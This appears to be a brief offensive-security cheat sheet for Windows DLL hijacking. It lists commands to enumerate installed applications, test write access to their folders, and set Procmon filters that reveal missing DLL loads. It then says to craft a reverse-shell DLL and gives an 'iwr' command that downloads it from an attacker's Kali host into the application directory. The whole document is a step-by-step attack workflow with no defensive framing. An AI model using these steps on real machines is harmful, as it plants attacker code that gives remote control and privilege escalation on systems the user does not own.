DLL Hijacking

1

Get all installed applications

Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

2

Research

Google search each application to see if its vulnerable to DLL hijacking

3

Check if can write in the application directory

echo "test" > '<Application File Path>\test.txt'
type '<Application File Path>\test.txt'

4

Open Procmon.exe

5

Apply filters

Apply the following filters

Column	Relation	Value	Action
Process Name	is	<Application Name>	Include
Operation	is	CreateFile	Include
Path	contains	<DLL File Name>	Include

6

Craft a payload that returns reverse shell

Shells

7

Download the payload into target machine

iwr -uri http://<Kali IP Address>/<DLL File Name>.dll -Outfile '<Application File Path>/<DLL File Name>.dll'